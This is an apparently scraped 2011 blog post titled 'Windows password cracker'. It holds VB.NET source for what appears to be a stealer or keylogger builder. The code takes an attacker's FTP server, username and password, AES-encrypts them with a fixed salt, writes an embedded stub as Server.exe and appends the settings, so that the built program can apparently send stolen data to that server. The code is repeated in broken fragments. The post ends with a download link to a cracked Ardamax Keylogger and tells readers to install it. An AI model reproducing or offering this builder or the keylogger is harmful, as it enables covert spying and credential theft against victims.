Windows password cracker
Posted by
ENJOY NEW TECHNOLOGY
Friday, April 29, 2011
Imports System.IO Imports System.Security.Cryptography Imports System.Text
Dim Key As String, Server As String, User As String, Passwort As String Dim VB6setting As New Compatibility.VB6.FixedLengthString(500) Private Sub Zufall() For x = 1 To 20 Dim Länge As Integer = 23 Dim ret As String = String.Empty Dim SB As New System.Text.StringBuilder() Dim Content As String = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw!öäüÖÄÜß""§$%&/()=?*#-½¼»«©§Ã†Ã–æåÔ¥¿Ã¿Ã¾Ã»Ã›Ã©Ã§Ã‘" Dim rnd As New Random() For i As Integer = 0 To Länge - 1 SB.Append(Content(rnd.[Next](Content.Length))) Next txtKey.Text = SB.ToString Next x End Sub
MsgBox("You did not enter key!", MsgBoxStyle.Exclamation, " Warning!") Exit Sub End If Key = txtKey.Text Server = txtServer.Text User = txtUser.Text Passwort = txtPW.Text Call CryptServer() With SaveFileDialog1 .AddExtension = True .FileName = "Server" .Filter = "Executables (*.exe) | *.exe*" .ShowDialog() If File.Exists(.FileName) Then File.Delete(.FileName) End If End With Dim SchreibeDatei As New IO.BinaryWriter(New IO.FileStream(SaveFileDialog1.FileName & ".exe", IO.FileMode.Create)) SchreibeDatei.Write(My.Resources.Stub) SchreibeDatei.Close() VB6setting.Value = Key & "_" & Server & "_" & User & "_" & Passwort FileOpen(1, (SaveFileDialog1.FileName & ".exe"), OpenMode.Binary) FilePutObject(1, VB6setting.Value, LOF(1) + 1) FileClose(1) MsgBox("The server was successfully created!", MsgBoxStyle.Information, "Success")
Call Zufall()
Me.Activate() Call Zufall() My.Application.MinimumSplashScreenDisplayTime = 5000
Protected Overrides Sub OnLoad(ByVal e As EventArgs) Me.Activate() MyBase.OnLoad(e) End Sub
Private Sub CryptServer() Dim oAesProvider As New RijndaelManaged Dim btClear() As Byte Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) Dim ms As New IO.MemoryStream Dim cs As New CryptoStream(ms, _ oAesProvider.CreateEncryptor(), _ CryptoStreamMode.Write) btClear = System.Text.Encoding.UTF8.GetBytes(Server) cs.Write(btClear, 0, btClear.Length) cs.Close() Server = Convert.ToBase64String(ms.ToArray) Call CryptUser() End Sub Private Sub CryptUser() Dim oAesProvider As New RijndaelManaged Dim btClear() As Byte Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) Dim ms As New IO.MemoryStream Dim cs As New CryptoStream(ms, _ oAesProvider.CreateEncryptor(), _ CryptoStreamMode.Write) btClear = System.Text.Encoding.UTF8.GetBytes(User) cs.Write(btClear, 0, btClear.Length) cs.Close() User = Convert.ToBase64String(ms.ToArray) Call CryptPW() End Sub Private Sub CryptPW() Dim oAesProvider As New RijndaelManaged Dim btClear() As Byte Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) Dim ms As New IO.MemoryStream Dim cs As New CryptoStream(ms, _ oAesProvider.CreateEncryptor(), _ CryptoStreamMode.Write) btClear = System.Text.Encoding.UTF8.GetBytes(Passwort) cs.Write(btClear, 0, btClear.Length) cs.Close() Passwort = Convert.ToBase64String(ms.ToArray) End Sub
If MsgBox("Do you want to really quit?", MsgBoxStyle.YesNo, "Exit") = MsgBoxResult.Yes Then End Else Exit Sub End If
Imports System.IO Imports System.Security.Cryptography Imports System.Text Public Class form1 Dim Key As String, Server As String, User As String, Passwort As String Dim VB6setting As New Compatibility.VB6.FixedLengthString(500) Private Sub Zufall() For x = 1 To 20 Dim Länge As Integer = 23 Dim ret As String = String.Empty Dim SB As New System.Text.StringBuilder() Dim Content As String = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw!öäüÖÄÜß""§$%&/()=?*#-½¼»«©§Ã†Ã–æåÔ¥¿Ã¿Ã¾Ã»Ã›Ã©Ã§Ã‘" Dim rnd As New Random() For i As Integer = 0 To Länge - 1 SB.Append(Content(rnd.[Next](Content.Length))) Next txtKey.Text = SB.ToString Next x End Sub Private Sub ButtenCompile_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtenCompile.Click If txtServer.Text = Nothing Then MsgBox("You have not specified FTP server!", MsgBoxStyle.Exclamation, " Warning!") Exit Sub ElseIf txtUser.Text = Nothing Then MsgBox("You did not enter FTP user!", MsgBoxStyle.Exclamation, " Warning!") Exit Sub ElseIf txtPW.Text = Nothing Then MsgBox("You have not specified an FTP password", MsgBoxStyle.Exclamation, " Warning!") Exit Sub ElseIf txtKey.Text = Nothing Then MsgBox("You did not enter key!", MsgBoxStyle.Exclamation, " Warning!") Exit Sub End If Key = txtKey.Text Server = txtServer.Text User = txtUser.Text Passwort = txtPW.Text Call CryptServer() With SaveFileDialog1 .AddExtension = True .FileName = "Server" .Filter = "Executables (*.exe) | *.exe*" .ShowDialog() If File.Exists(.FileName) Then File.Delete(.FileName) End If End With Dim SchreibeDatei As New IO.BinaryWriter(New IO.FileStream(SaveFileDialog1.FileName & ".exe", IO.FileMode.Create)) SchreibeDatei.Write(My.Resources.Stub) SchreibeDatei.Close() VB6setting.Value = Key & "_" & Server & "_" & User & "_" & Passwort FileOpen(1, (SaveFileDialog1.FileName & ".exe"), OpenMode.Binary) FilePutObject(1, VB6setting.Value, LOF(1) + 1) FileClose(1) MsgBox("The server was successfully created!", MsgBoxStyle.Information, "Success") End Sub Private Sub ButtonRandom_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonRandom.Click Call Zufall() End Sub Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.Activate() Call Zufall() My.Application.MinimumSplashScreenDisplayTime = 5000 End Sub Protected Overrides Sub OnLoad(ByVal e As EventArgs) Me.Activate() MyBase.OnLoad(e) End Sub Private Sub CryptServer() Dim oAesProvider As New RijndaelManaged Dim btClear() As Byte Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) Dim ms As New IO.MemoryStream Dim cs As New CryptoStream(ms, _ oAesProvider.CreateEncryptor(), _ CryptoStreamMode.Write) btClear = System.Text.Encoding.UTF8.GetBytes(Server) cs.Write(btClear, 0, btClear.Length) cs.Close() Server = Convert.ToBase64String(ms.ToArray) Call CryptUser() End Sub Private Sub CryptUser() Dim oAesProvider As New RijndaelManaged Dim btClear() As Byte Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) Dim ms As New IO.MemoryStream Dim cs As New CryptoStream(ms, _ oAesProvider.CreateEncryptor(), _ CryptoStreamMode.Write) btClear = System.Text.Encoding.UTF8.GetBytes(User) cs.Write(btClear, 0, btClear.Length) cs.Close() User = Convert.ToBase64String(ms.ToArray) Call CryptPW() End Sub Private Sub CryptPW() Dim oAesProvider As New RijndaelManaged Dim btClear() As Byte Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) Dim ms As New IO.MemoryStream Dim cs As New CryptoStream(ms, _ oAesProvider.CreateEncryptor(), _ CryptoStreamMode.Write) btClear = System.Text.Encoding.UTF8.GetBytes(Passwort) cs.Write(btClear, 0, btClear.Length) cs.Close() Passwort = Convert.ToBase64String(ms.ToArray) End Sub Private Sub ButtonClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonClose.Click If MsgBox("Do you want to really quit?", MsgBoxStyle.YesNo, "Exit") = MsgBoxResult.Yes Then End Else Exit Sub End If End Sub End Class
http://www.ziddu.com/download/14359500/Ardamax_Keylogger_3.0_SERIAL_FULL.rar.html
Download it and Install in your computer.
http://www.ziddu.com/download/14359500/Ardamax_Keylogger_3.0_SERIAL_FULL.rar.html
Download it and Install in your computer.